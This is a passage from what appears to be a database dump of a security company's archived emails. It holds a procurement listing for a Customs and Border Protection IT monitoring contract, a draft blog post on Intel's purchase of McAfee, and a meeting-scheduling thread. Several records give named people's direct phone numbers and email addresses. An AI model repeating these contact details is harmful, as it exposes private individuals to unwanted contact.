1px;padding-bottom: 2px; background-color: #E3EAF9;position: relative; background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center;}\r\na.WEArchvDateLinks:hover {border-left:1px solid #B7B7B7; border-right:1px solid #6E6D6D; border-top:1px solid #B7B7B7; border-bottom:1px solid #6E6D6D; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #333333; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;background-color: #E3EAF9; position: relative; background: url(\'http://www.input.com/globalImages/buttons/clBtnBgHover.gif\') center;}\r\na.WEArchvDateLinks:active { border-left:1px solid #A8B9D2;  border-right:1px solid #56698B; border-top:1px solid #A8B9D2;  border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold;color: #000000;text-decoration: none;padding-right: 3px;padding-left: 3px;padding-top: 1px;padding-bottom: 2px;background-color: #E3EAF9; position: relative; background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center;}\r\n\r\n\r\n/*************** list styles ***************/\r\n\r\nul.wEmailorange { list-style-type: disc; color: #000000; list-style-image: url(http://www.input.com/img/arrowTriangleOrg.gif);}\r\n\r\n/************** section styles *****************/\r\n\r\n.wEmailthisIssueHeaderText{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #ffffff; font-size: 14px; }\r\n.wEmailthisIssue{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #003082; font-size: 13px; }\r\n#wEmailthisIssue{ border: 1px solid #D5DADF;}\r\n.wEmailindustEventsHeader{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 12px; color: #ffffff; background-color:#4080BE;}\r\n.wEmailindustEvents{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #676767;}\r\n.wEmailindustEventsBorder{ border: 1px solid #4080BE;}\r\n.wEmailrightColumn{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; border-top-width: 1px;}\r\n#wEmailrightColumn{ background-color: #EEF2F7; width: 220px;}\r\n.wEmailbreakfastHeader{ font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #ffffff;}  \r\n.wEmaildataHeaderOpps{ font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #333333; background:#D3E7FF;}  \r\n.wEmaildataHeaderAwards{ font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #333333; background:#FEE580;} \r\n.wEmaildataHeaderEdocs{ font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #333333; background:#B2B2B2;} \r\n.wEmaildataHeadersubheader{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #000000;} \r\n.wEmaildoubleArrwsOrg{ font-family: Arial, Helvetica, sans-serif; font-size: 13px; color: #FA9D1C;}  \r\noption.WEArchMenu { color: #ffffff; background-color: #3269C3;}\r\n\r\n\r\n/************** footer styles ****************/\r\n\r\n#wEmailsiteInfo{clear: both; border-top: 1px solid #cccccc; font-size: small; color: #cccccc; padding: 10px 10px 10px 10px; margin-top: 0px;}\r\n\r\n.wEmailfooterNobgcolor{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px; color: #000000; font-style: normal;}\r\n#wEmailfooterNobgcolor a:link, #wEmailfooterNobgcolor a:visited { color: #000000; font-weight: normal;}\r\n#wEmailfooterNobgcolor a:hover { color: #000000; font-weight: normal; text-decoration: underline;}\r\n\r\n.wEmailfooter{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px; color: #ffffff; font-style: normal; text-decoration: none; background-color: #669EDB;}\r\na.wEmailfooter{ color: #ffffff; background-color: #669EDB;}\r\na.wEmailfooter:link{ color: #ffffff; font-weight: normal; text-decoration: none;}\r\na.wEmailfooter:visited{ color: #ffffff; font-weight: normal; text-decoration: none;}\r\na.wEmailFooter:hover { color: #ffffff; font-weight: normal; text-decoration: underline; background-color: #669EDB;}\r\n.wEmailCopyright{ font-family:  Arial, Verdana, Helvetica, sans-serif; font-size: 10px; color: #161616;}\r\n\r\n/************ -------------------------------------- MyINPUT Email --------------------------------------------- **************/\r\n\r\n/************ MyINPUT Email Border **************/\r\n\r\n.emailTableOuterBorder{ border: 1px solid #D6D6D6; background: #ffffff;}\r\n.emailMainHeaderBG{ background: #669EDB;}\r\n\r\n/************ MyINPUT Email Header *********************************************************************/\r\n\r\n#emailMasthead{ background-color: #669EDB;}\r\n.emailIssueDate{font-family: Arial, Verdana, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #013082;}\r\n.emailHeaderNavBg{background-color:#003082}\r\n\r\n/******* Nav *******/\r\n\r\na.emailheaderNav{ font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #ffffff; background-color: #013082; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\na.emailheaderNav:link, a.emailheaderNav:visited { font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #ffffff; background-color: #013082; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\na.emailheaderNav:hover{ font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #003082; background-color: #669EDB; text-decoration: none; padding-top: 1px; padding-right: 7px; padding-bottom: 1px; padding-left: 7px;}\r\n\r\n.emailthisIssueSectionsTitle{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #000000; font-size: 13px; text-decoration: none;}\r\na.emailthisIssueLink{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #003082; font-size: 13px; text-decoration: none;}\r\na.emailthisIssueLink:visited{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: none;}\r\na.emailthisIssueLink:hover{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: underline;}\r\na.emailthisIssueLinkSection{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #666666; font-size: 13px; text-decoration: none;}\r\na.emailthisIssueLinkSection:visited{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #B2B2B2; font-size: 13px; text-decoration: none;}\r\na.emailthisIssueLinkSection:hover{ font-family: Arial, Helvetica, Verdana, sans-serif; color: #4080BE; font-size: 13px; text-decoration: none;}\r\n\r\n/************** MyINPUT Email footer styles ****************/\r\n\r\n#emailSiteInfo{clear: both;border-top: 1px solid #CCCCCC; font-size: small; color: #CCCCCC; padding: 10px 10px 10px 10px; margin-top: 0px;}\r\n.emailFooterNobgcolor{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px; color: #000000; font-style: normal;}\r\n#emailFooterNobgcolor a:link, #emailFooterNobgcolor a:visited { color: #000000; font-weight: normal;}\r\n#emailFooterNobgcolor a:hover { color: #000000; font-weight: normal; text-decoration: underline;}\r\n.emailFooter{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px; color: #000000; font-style: normal; text-decoration: none; background-color: #EEEEEE;}\r\n#emailFooter{background-color: #EEEEEE;}\r\n#emailFooter a:link, #emailFooter a:visited {color: #ffffff; font-weight: normal; text-decoration: none;}\r\n#emailFooter a:hover {color: #ffffff; font-weight: normal; text-decoration: underline;}\r\n.emailCopyright{font-family:  Arial, Verdana, Helvetica, sans-serif; font-size: 10px; color: #161616;}\r\n\r\n/************* VERTICAL WIDGET *************************/\r\n\r\n.vertWidgetVrt td { font-size : 9px; font-weight : bold; font-family : arial,helvetica; }\r\n.vertWidgetPrg td { font-size : 9px; font-weight : bold; font-family : arial,helvetica; }\r\n.vertWidgetBox { height:300px; overflow:auto; background:#E9F1FF; border:1px solid #B0C0CF; padding:5px;}\r\n.vertAssign #addAssignmentDiv { position:relative; background:#E9F1FF; border:1px solid #B0C0CF; padding:5px; border-bottom:0;}\r\n.vertAssign #VerticalAssignmentDisplay { height:200px; border:2px solid #B0C0CF; position:relative; overflow:auto; background:white; text-align:left;  }\r\n\r\n/************* ROLES WIDGET *************************/\r\n\r\n.cntctRoleWidget td { font-size : 10px; font-family : arial,helvetica; }\r\n.cntctRoleWidgetParent td { padding:7px 0 2px 0; border-bottom:1px solid #999; font-size : 12px; font-weight : bold; font-family : arial,helvetica; }\r\n.cntctRoleWidgetBox { height:300px; overflow:auto; background:#E9F1FF; border:1px solid #B0C0CF; padding:5px;}\r\n\r\n\r\n\r\n\r\n/************* GovEdge large green button *************************/\r\na.govEdgeAlert:link { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px;padding-top: 1px;padding-bottom: 2px;background-color: #75EC23; position: relative;}\r\n   \r\n   a.govEdgeAlert:visited {border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #75EC23; position: relative; }\r\n\r\na.govEdgeAlert:hover {border-left:1px solid #B7B7B7; border-right:1px solid #6E6D6D; border-top:1px solid #B7B7B7; border-bottom:1px solid #6E6D6D; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;font-weight: bold; color: #333333; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #bffdb0; position: relative; }\r\n\r\na.govEdgeAlert:active { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B;  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #75EC23; position: relative; }\r\n\r\n/* ********* Containers ********* */\r\n\r\n/* Standard Container */\r\n.stdContainer {margin-bottom:8px;}\r\n.stdContainer .stdContainerHead {\r\n background:#ced8e4;\r\n border:1px solid #c4ceda;\r\n padding:5px 7px 5px 6px;\r\n}\r\n.stdContainer .stdContainerHead .label {\r\n font-weight:bold;\r\n color:black;\r\n}\r\n.stdContainer .stdContainerHead a {float:right;}\r\n.stdContainer .stdContainerBody {\r\n min-height:30px;\r\n _height:30px; /* IE6 */\r\n background:#e2ecf8;\r\n border:1px solid #c4ceda;\r\n border-top:0px;\r\n padding:6px 6px 6px 6px;\r\n}\r\n.stdContainer .stdContainerBodyFooter {\r\n border-top:1px solid #c4ceda;\r\n padding:6px 0px 0px 2px;\r\n}\r\n.stdContainer .stdContainerBodyFooter a.arrow {\r\n font-weight:bold;\r\n background:url(http://www.input.com/globalImages/icons/bulletRtArrow.gif) 4px 4px no-repeat;\r\n padding-left:16px;\r\n cursor:pointer;\r\n}\r\n.stdContainer .stdContainerBodyFooter .count {color:#292929; padding-left:4px;}\r\n\r\n/* Split Container */\r\n.splitContainer.splitHalf .split {float:left; width:49%;}\r\n.splitContainer.splitThirds .split {float:left; width:33%;}\r\n.splitContainer.splitFourths .split {float:left; width:25%;}\r\n\r\n\r\n/* ********* Clearfix ********* */\r\n\r\n.clearfix:after {\r\n content: \".\";\r\n display: block;\r\n height: 0;\r\n clear: both;\r\n visibility: hidden;\r\n}\r\n.clearfix {\r\n display: inline-block;\r\n}\r\n/* Hides from IE-mac \\*/\r\n* html .clearfix {height: 1%;}\r\n.clearfix {display: block;}\r\n/* End hide from IE-mac */\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n \r\n   \r\n \r\n  \r\n  \r\n &nbsp;\r\n  \r\n  \r\n &nbsp;\r\n \r\n   \r\n  ENTERPRISE MANAGEMENT AND MONITORING SERVICES\r\n   \r\n \r\n &nbsp;\r\n  \r\n  \r\n &nbsp;\r\n \r\n   \r\n  Opportunity ID : 65147&nbsp;&nbsp;&nbsp;\r\n   \r\n \r\n &nbsp;\r\n  \r\n  \r\n &nbsp;\r\n \r\n   \r\n  \r\n    \r\n   Marked as:&nbsp;\r\n    \r\n              \r\n                  \r\n                \r\n   \r\n   \r\n     \r\n   \r\n    \r\n  \r\n   \r\n \r\n &nbsp;\r\n  \r\n  \r\n  \r\n \r\n  \r\n  \r\n &nbsp;\r\n  \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Opportunity Summary\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n \r\n  \r\n   \r\n   \r\n    \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Department:\r\n       \r\n       HOMELAND SECURITY&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Agency:\r\n       \r\n       CUSTOMS AND BORDER PROTECTION&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Office:\r\n       \r\n       INFORMATION TECHNOLOGY&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Division:\r\n       \r\n       ENTERPRISE DATA MANAGEMENT AND ENGINEERING DIVISION&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Status:\r\n       \r\n       Pre-RFP&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Solicitation Release Date:\r\n       \r\n       12/2010 (INPUT Estimate)&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Award Date:\r\n       \r\n       08/2011 (INPUT Estimate)&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Solicitation #:\r\n       \r\n       &nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Value($K):\r\n       \r\n       40,000&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Competition Type:\r\n       \r\n       8(a) Set-Aside&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Primary Requirement:\r\n       \r\n       IT Professional Services&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Duration:\r\n       \r\n       1 year(s) base plus 4 x 1 year(s) option(s) &nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Contract Type:\r\n       \r\n       Cost Plus Fixed Fee&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Primary NAICS Code:\r\n       \r\n       &nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Place of Performance:\r\n       \r\n       Springfield, VA (Primary)&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Opportunity Website:\r\n       \r\n       Click to Visit Website&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Updated :\r\n       \r\n       08/18/2010&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Procurement Activity:\r\n       \r\n       08/18/2010 - Speaking at the CBP OIT Industry Day on August 13, 2010, officials indicated that an Award for this requirement is anticipated in the 4th Quarter of FY11. This requirement will be a competitive 8(a) acquisition valued at $30-40 million total.\r\n&nbsp;\r\n      \r\n      \r\n      \r\n       \r\n      \r\n      \r\n       \r\n       Summary:\r\n       \r\n       The Department of Homeland Security, Customs and Border Protection, Office of Information Technology has a requirement to provide services to support the infrastructure and operational activities requirement to deliver and support the technical services provided by the Office of Enterprise Data Management and Engineering (EDME).&nbsp;\r\n      \r\n      \r\n     \r\n      \r\n     \r\n     \r\n   \r\n  \r\n \r\n \r\n\r\n\r\n  \r\n \r\n \r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n \r\n   \r\n    \r\n\r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Procurement Timeline\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n   \r\n   \r\n   \r\n    \r\n     \r\n     \r\n      \r\n       \r\n        \r\n         Solicitation Release\r\n         \r\n          12/2010 (INPUT Estimate)\r\n           \r\n        \r\n        \r\n        \r\n         Award Date\r\n         \r\n          08/2011 (INPUT Estimate)\r\n           \r\n        \r\n        \r\n      \r\n     \r\n     \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n &nbsp;\r\n\r\n\r\n  \r\n \r\n \r\n\r\n\r\n    \r\n  \r\n  \r\n  \r\n &nbsp;\r\n  \r\n\r\n  \r\n \r\n  \r\n  \r\n   \r\n    \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Key Contacts\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n    \r\n     \r\n      \r\n       \r\n       \r\n \r\n  \r\n    \r\n  \r\n  \r\n   \r\n     \r\n      Name&nbsp;\r\n     \r\n     \r\n     \r\n      Title&nbsp;\r\n     \r\n     \r\n     \r\n      Department/Agency&nbsp;\r\n     \r\n     \r\n     \r\n      Phone/Email&nbsp;\r\n     \r\n     \r\n  \r\n  \r\n   \r\n    \r\n     \r\n      Barry Brown, Ph.D.&nbsp;\r\n     \r\n    \r\n     \r\n      Executive Director - Enterprise Data Management and Engineering Division, Office of Information TechnologyCIO/IT Office&nbsp;\r\n     \r\n    \r\n     \r\n      HOMELAND SECURITY/ CUSTOMS AND BORDER PROTECTION&nbsp;\r\n     \r\n    \r\n     \r\n      703-921-7488barry.brown@dhs.gov&nbsp;\r\n     \r\n    \r\n   \r\n  \r\n   \r\n    \r\n     \r\n      Kathy Joseph&nbsp;\r\n     \r\n    \r\n     \r\n      EDME Program ContactProgram Management & Delivery&nbsp;\r\n     \r\n    \r\n     \r\n      HOMELAND SECURITY/ CUSTOMS AND BORDER PROTECTION&nbsp;\r\n     \r\n    \r\n     \r\n      kathy.joseph@dhs.gov&nbsp;\r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n \r\n      \r\n     \r\n    \r\n    \r\n  \r\n \r\n \r\n\r\n\r\n   \r\n  \r\n \r\n  \r\n  \r\n   \r\n    \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Contracts\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n    \r\n       \r\n        \r\n      \r\n \r\n  \r\n   There are no Contracts associated with this Opportunity\r\n  \r\n \r\n\r\n        \r\n       \r\n    \r\n    \r\n  \r\n \r\n \r\n\r\n\r\n   \r\n  \r\n \r\n\r\n\r\n &nbsp;\r\n  \r\n  \r\n  \r\n &nbsp;\r\n  \r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n\r\n\r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Program Description\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n \r\n  \r\n   \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Secondary Requirements\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n     \r\n      \r\n      \r\n       \r\n        \r\n          \r\n           \r\n           Application Ops / Management\r\n          \r\n         \r\n          \r\n           \r\n           Configuration Management\r\n          \r\n         \r\n          \r\n           \r\n           Data Management/Administration\r\n          \r\n         \r\n          \r\n           \r\n           Equipment Maintenance\r\n          \r\n         \r\n          \r\n           \r\n           IT Professional Services\r\n          \r\n         \r\n          \r\n           \r\n           Maintenance Support Services\r\n          \r\n         \r\n          \r\n           \r\n           Network Support / Administration\r\n          \r\n         \r\n          \r\n           \r\n           Outsourcing\r\n          \r\n         \r\n          \r\n           \r\n           Software Support\r\n          \r\n         \r\n          \r\n           \r\n           Storage\r\n          \r\n         \r\n          \r\n           \r\n           System Design and Architecture\r\n          \r\n         \r\n          \r\n           \r\n           Tape Backup/Recovery\r\n          \r\n         \r\n       \r\n       \r\n      \r\n     \r\n    \r\n  \r\n \r\n \r\n\r\n\r\n     SUMMARY:    The Department of Homeland Security, Customs and Border Protection, Office of Information Technology has a requirement to provide services to support the infrastructure and operational activities requirement to deliver and support the technical services provided by the Office of Enterprise Data Management and Engineering (EDME).  BACKGROUND:  CBPis one of the Department of Homeland Security&rsquo;s largest and most complex components, with a priority mission of keeping terrorists and their weapons out of the U.S. It also has a responsibility for securing and facilitating trade and travel while enforcing hundreds of U.S. regulations, including immigration and drug laws.  Functional responsibilities of the CBP Office of Information Technology include:&nbsp;software development, infrastructure services and support, tactical communications, the laboratory system and research and development functions, and IT modernization initiatives supporting CBP&rsquo;s core business processes.  The Enterprise Data Management and Engineering (EDME) division is responsible for providing customers with enterprise architecture design and management, systems engineering, data center operations and services, strategic planning, security program management, technology evaluation and integration, and audit coordination.     Acquisition strategies to include:         Development and integration services       Operations and maintenance services       Transition to the two DHS Data Centers       Must include ability to work with other vendors for service delivery     REQUIREMENTS:    Tasks:        System Automation and Event Monitoring                Utilize best-of-breed commercial tools and custom developed methods.           Design, implement, and maintain system automation, event monitoring and notification.           Strive for optimal application and system availability.                   Operational and Technical Support                Timely alert response and incident resolution           Monitor systems and provide operational support           Perform problem diagnosis and coordinate resolution           Escalate incidents to senior management and appropriate technical teams                   Production Management                Submit all batch jobs and monitor for successful completion.           Provide user assistance with Job Control Language (JCL)           Reviews and approves all user documentation                   Tape Services                Provide support for all system tape services           Maintain peripheral equipment           Prepare media for off-site storage           Provide tape mount service and intervention response                           FUNDING/CONTRACT VALUE:    The total value of the requirement is $30-40 million, with $5-10 million anticipated in the first year.   \r\n   \r\n  \r\n \r\n\r\n\r\n  \r\n \r\n \r\n\r\n\r\n &nbsp;\r\n  \r\n  \r\n  \r\n \r\n  \r\n\r\n\r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     General Program Information\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n PLACE OF PERFORMANCE:    The work will be performed primarily at the CBP National Data Center in Springfield, VA and throughout the surrounding DC Metropolitan area. Occasional travel will be required to two secondary DHS Data Centers, located in Virginia and Mississippi.     \r\n\r\n\r\n  \r\n \r\n \r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n \r\n  \r\n  \r\n  \r\n  \r\n \r\n  \r\n\r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Latest News\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n    \r\n      \r\n     08/18/2010 - Speaking at the CBP OIT Industry Day on August 13, 2010, officials indicated that an Award for this requirement is anticipated in the 4th Quarter of FY11. This requirement will be a competitive 8(a) acquisition valued at $30-40 million total.\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n\r\n\r\n  \r\n \r\n \r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n \r\n  \r\n\r\n\r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Interested Vendors\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     \r\n     &nbsp;\r\n     Vendor\r\n     Contact\r\n     Position\r\n     Socioeconomic Status\r\n     Website\r\n     \r\n    \r\n    \r\n     \r\n      \r\n           &nbsp;\r\n      \r\n      Vision Networks \r\n      \r\n       \r\n       Louis D\'Alessandro\r\n       7035052790 lou.dalessandro@vninet.net\r\n       \r\n      \r\n      Any\r\n      \r\n      8(a) Certified\r\n      http://www.vnin...\r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n\r\n \r\n  \r\n \r\n \r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n \r\n  \r\n  \r\n  &nbsp; \r\n  \r\n  \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Related Documents\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n    \r\n  \r\n  \r\n\r\n\r\n .detailTableRow1Bg2 {background-color:white };\r\n .detailTableRow2Bg2 {background-color:EDF6FF };\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n    \r\n  \r\n  \r\n   \r\n     \r\n      Document Title&nbsp;\r\n     \r\n     \r\n     \r\n      Publication Date&nbsp;\r\n     \r\n     \r\n     \r\n      Document Source&nbsp;\r\n     \r\n     \r\n     \r\n      Document Size&nbsp;\r\n     \r\n     \r\n     \r\n      FileType&nbsp;\r\n     \r\n     \r\n  \r\n  \r\n   \r\n    \r\n     \r\n      CBP OIT Industry Day EDME Presentation&nbsp;\r\n     \r\n    \r\n     \r\n      08/18/2010&nbsp;\r\n     \r\n    \r\n     \r\n      Government&nbsp;\r\n     \r\n    \r\n     \r\n      302&nbsp;kb&nbsp;\r\n     \r\n    \r\n     \r\n      &nbsp;\r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n\r\n\r\n  \r\n \r\n  &nbsp;\r\n  \r\n   \r\n\r\n \r\n \r\n  \r\n   \r\n    \r\n     Online Resources\r\n     \r\n     \r\n    \r\n   \r\n  \r\n \r\n \r\n \r\n  \r\n\r\n   \r\n    \r\n     For more information on CBP, please visit: http://www.cbp.gov.  \r\n    \r\n   \r\n   \r\n  \r\n \r\n \r\n\r\n\r\n  \r\n \r\n  \r\n \r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n   \r\n \r\n  \r\n  \r\n  \r\n \r\n  \r\n  \r\n \r\n    Copyright 2006 INPUT. All rights reserved.\r\n \r\n  \r\n  \r\n\r\n\r\n',125,'aaron_hbgary_com/125.html'),(10646,'2010-08-20','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008228.M922538P14101Q5501.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Intel To Acquire McAfee, Moving Into Online Security','Hi Greg, Thanks so much for pulling this together so quickly. I made some suggested edits below and tried to highlight the changes in red. Please let me know if you have any questions. Best, Karen \r\n\r\nOn Thu, Aug 19, 2010 at 4:40 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nI tried to write a quick blog post on it - its pretty rough don&#39;t rip me up too bad - I wanted to put out something - if you have any ideas on strengthing the backbone of this post it might be worth it ??  - otherwise I can punt I only spent about 30 minutes on it so far..\r\n\r\n \r\nsnip ---&gt;\r\n \r\n\r\nIntel Validates the End Node\r\nIn the security industry, there is an obsession with the perimeter, which is why this Intel-McAfee annoucement, at first glance, seems so surprising. McAfee represents visibility and control at the end node - the environment where the bad guys actually live.  Intel&#39;s investment into end-node security is significant because it represents a fundamental shift in security .  Adoption of mobile technology is faster than ever before and the chip-war cannot continue to be based solely on horsepower or power consumption - an integration between hardware and software can create a platform for the future mobile user.  To understand this acquisition, you have to think ahead.  Intel knows the future is in small, always-on access-to-the-cloud -- and they can deliver the horsepower required for immersive environments  such as High-Def, 3D that will become the norm. But future is not without risk.  To create a secure online experience for the user,  Intel understands that the security features in the chip need to be united with application layer surfaces.  While the benefits for Intel are clear, this deal also might be the best thing that ever happened to McAfee.  They have the domain knowledge about hooking into software flows and scanning for patterns, but the end-node for McAfee is the PC -- not the future device.  Intel&#39;s business has always been about massive scale and this might push McAfee into the future.  This event may signal an emergence period of security integration into the end node.\r\n\r\n \r\n\r\n\r\n\r\n \r\nOn Thu, Aug 19, 2010 at 7:34 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nI thought this NY Times piecee on the news was interesting....\r\n \r\nhttp://www.nytimes.com/2010/08/20/technology/20chip.html?_r=1&amp;src=twt&amp;twt=nytimestech\r\n\r\n',1416,'aaron_hbgary_com/1416.html'),(10647,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008229.M122662P14101Q5502.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Ok so planning to be at your office @ 8\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 4:16 PM, John Edwards  wrote:\r\n\r\n> Where do you live?  Is it convenient to come to our office in Chantilly?\r\n> That way you can see where we hide.\r\n> john\r\n> On Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n>\r\n>> Sure where?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n>>\r\n>>> How about fist thing in the morning - 0800?\r\n>>>\r\n>>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> Do you have any time tomorrow?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>>>\r\n>>>>> I\'m good most days next week.\r\n>>>>> Let me know,\r\n>>>>> John\r\n>>>>>\r\n>>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hey John,\r\n>>>>>>\r\n>>>>>> When would you like to get together?\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>>>\r\n>>>>>>> Can you 